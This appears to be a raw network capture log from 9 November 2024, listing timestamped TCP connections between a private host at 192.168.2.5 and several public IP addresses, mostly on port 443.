Nov 9, 2024 22:09:39.949909925 CET	49823	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.950707912 CET	443	49809	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.950896025 CET	443	49809	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.950994015 CET	49809	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.952101946 CET	49823	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.952111959 CET	443	49823	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.952964067 CET	49809	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.952972889 CET	443	49809	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.952984095 CET	49809	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.952989101 CET	443	49809	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.956084967 CET	49824	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.956104994 CET	443	49824	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.956166983 CET	49824	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.958492994 CET	49824	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.958503008 CET	443	49824	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.967777014 CET	49825	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:39.967803001 CET	443	49825	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:39.967940092 CET	49825	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:39.968177080 CET	49825	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:39.968194008 CET	443	49825	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:40.063986063 CET	49763	443	192.168.2.5	23.1.237.91
Nov 9, 2024 22:09:40.064057112 CET	443	49763	23.1.237.91	192.168.2.5
Nov 9, 2024 22:09:40.064115047 CET	49763	443	192.168.2.5	23.1.237.91
Nov 9, 2024 22:09:40.079333067 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.079384089 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.088939905 CET	49807	443	192.168.2.5	18.154.84.35
Nov 9, 2024 22:09:40.114033937 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.114080906 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.114201069 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.114227057 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.118208885 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.118247986 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.118254900 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.126868010 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.126938105 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.126945019 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.147828102 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.147870064 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.147890091 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.147917032 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.147939920 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.147947073 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.147970915 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.147998095 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.148458004 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.148468971 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.235975027 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.236041069 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.236068964 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.236108065 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.236140013 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.236373901 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.238256931 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.244169950 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.244224072 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.244240046 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.264430046 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.264461040 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.264509916 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.264542103 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.264688969 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.353374004 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.353460073 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.353487015 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.353516102 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.353549004 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.353744984 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.361452103 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.361511946 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.361644030 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.361669064 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.381419897 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.381485939 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.381505966 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.381531954 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.381577969 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.381588936 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.381597996 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.381661892 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.470501900 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.474797964 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.474847078 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.474869013 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.478538036 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.478586912 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.478595972 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.489624977 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:40.489749908 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:40.498517990 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.498574972 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.498590946 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.498692989 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.498956919 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.498964071 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.499274015 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.499351978 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.499358892 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.587603092 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.587656975 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.587673903 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.595544100 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.595586061 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.595612049 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.595621109 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.595726013 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.605427980 CET	443	49820	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.612248898 CET	443	49819	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.615766048 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.615830898 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.615860939 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.615883112 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.615895033 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.615927935 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.616242886 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.616590023 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.616633892 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.616640091 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.623882055 CET	49820	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.623902082 CET	443	49820	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.624332905 CET	49820	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.624337912 CET	443	49820	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.627533913 CET	49819	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.627556086 CET	443	49819	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.627964020 CET	49819	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.627968073 CET	443	49819	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.641427994 CET	443	49818	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.641773939 CET	49818	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.641797066 CET	443	49818	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.642220020 CET	49818	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.642225027 CET	443	49818	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.671998024 CET	443	49823	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.672842979 CET	49823	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.672863007 CET	443	49823	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.673505068 CET	49823	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.673511028 CET	443	49823	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.691148996 CET	443	49824	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.692193031 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.692203045 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.695621014 CET	49824	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.695638895 CET	443	49824	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.696072102 CET	49824	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.696077108 CET	443	49824	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.704801083 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.707911968 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.707920074 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.712876081 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.713032961 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.713041067 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.734844923 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.734882116 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.734910011 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.734916925 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.734929085 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.734962940 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.734971046 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.735008955 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.735011101 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.735019922 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.735060930 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.735066891 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.748231888 CET	49827	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:40.748267889 CET	443	49827	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:40.748380899 CET	443	49820	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.748476028 CET	49827	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:40.748682022 CET	443	49820	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.748744965 CET	49820	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.748961926 CET	49827	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:40.748975992 CET	443	49827	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:40.749542952 CET	49828	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:40.749557018 CET	443	49828	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:40.749670982 CET	49828	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:40.750195026 CET	49828	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:40.750206947 CET	443	49828	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:40.752049923 CET	443	49819	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.752106905 CET	443	49819	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.752161980 CET	49819	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.762116909 CET	49820	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.762129068 CET	443	49820	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.762160063 CET	49820	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.762166977 CET	443	49820	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.763663054 CET	49819	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.763689995 CET	443	49819	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.763712883 CET	49819	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.763719082 CET	443	49819	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.768161058 CET	49829	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.768202066 CET	443	49829	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.768266916 CET	49829	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.768337011 CET	49830	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.768364906 CET	443	49830	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.768490076 CET	49830	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.768529892 CET	49829	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.768543005 CET	443	49829	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.768645048 CET	49830	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.768659115 CET	443	49830	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.769805908 CET	49831	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:40.769818068 CET	443	49831	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:40.769881964 CET	49831	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:40.770837069 CET	49831	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:40.770852089 CET	443	49831	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:40.775392056 CET	443	49818	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.775665998 CET	443	49818	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.775711060 CET	49818	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.776886940 CET	49818	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.776905060 CET	443	49818	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.776916027 CET	49818	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.776921034 CET	443	49818	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.780667067 CET	49832	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.780693054 CET	443	49832	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.780749083 CET	49832	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.780890942 CET	49832	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.780906916 CET	443	49832	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.805320024 CET	443	49823	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.805433035 CET	443	49823	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.805736065 CET	49823	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.808840036 CET	49823	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.808852911 CET	443	49823	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.808867931 CET	49823	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.808872938 CET	443	49823	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.814240932 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:40.815411091 CET	49833	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.815443039 CET	443	49833	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.815502882 CET	49833	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.815632105 CET	49833	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.815640926 CET	443	49833	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.819154978 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:40.821841955 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.821877003 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.821924925 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.821935892 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.822002888 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.822252035 CET	443	49824	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.822571993 CET	443	49824	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.822710037 CET	49824	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.823026896 CET	49824	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.823035002 CET	443	49824	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.828718901 CET	49834	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.828744888 CET	443	49834	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.828798056 CET	49834	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.829015970 CET	49834	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.829031944 CET	443	49834	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.829739094 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.849956036 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.850007057 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.850039005 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.850048065 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.850204945 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.850222111 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.850230932 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.850280046 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.850286007 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.850970030 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.851041079 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.851103067 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.851110935 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.851198912 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.851409912 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.865149975 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.865519047 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.865528107 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.866578102 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.866636992 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.867679119 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.867734909 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.868158102 CET	49835	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.868186951 CET	443	49835	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.868247032 CET	49835	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.868273020 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.868280888 CET	443	49826	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.868427038 CET	49835	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:40.868443012 CET	443	49835	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:40.939086914 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.939169884 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.939179897 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.946959019 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.947093964 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.947102070 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.967398882 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.967427015 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.967459917 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.967463017 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.967472076 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.967504978 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.967514992 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.967657089 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.967664003 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.968240976 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.968276024 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.968314886 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.968322992 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:40.968486071 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:40.988166094 CET	49826	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.001296997 CET	443	49821	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:41.001386881 CET	49821	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:41.009391069 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:41.012571096 CET	49821	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:41.012590885 CET	443	49821	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:41.012871027 CET	443	49821	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:41.013689995 CET	49821	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:41.013751984 CET	49821	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:41.013781071 CET	443	49821	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:41.056236982 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:41.056433916 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:41.056443930 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:41.064239025 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:41.064294100 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:41.064301014 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:41.065026999 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:41.065076113 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:41.065083027 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:41.065119028 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:41.065167904 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:41.066452026 CET	49827	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:41.066881895 CET	49837	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:41.066905022 CET	443	49837	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:41.066982985 CET	49837	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:41.068097115 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:41.068114996 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:41.068758011 CET	49837	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:41.068774939 CET	443	49837	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:41.069178104 CET	49828	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:41.069200039 CET	49835	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.069411039 CET	49807	443	192.168.2.5	18.154.84.35
Nov 9, 2024 22:09:41.069475889 CET	443	49807	18.154.84.35	192.168.2.5
Nov 9, 2024 22:09:41.069523096 CET	49807	443	192.168.2.5	18.154.84.35
Nov 9, 2024 22:09:41.069854975 CET	49839	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:41.069885015 CET	443	49839	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:41.069996119 CET	49839	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:41.070041895 CET	49840	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.070076942 CET	443	49840	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.070094109 CET	49831	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:41.070125103 CET	49840	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.070316076 CET	49841	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:41.070326090 CET	443	49841	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:41.070482016 CET	49841	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:41.070705891 CET	49839	443	192.168.2.5	162.159.61.3
Nov 9, 2024 22:09:41.070719957 CET	443	49839	162.159.61.3	192.168.2.5
Nov 9, 2024 22:09:41.070839882 CET	49840	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:41.070852041 CET	443	49840	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:41.071095943 CET	49841	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:41.071109056 CET	443	49841	172.64.41.3	192.168.2.5
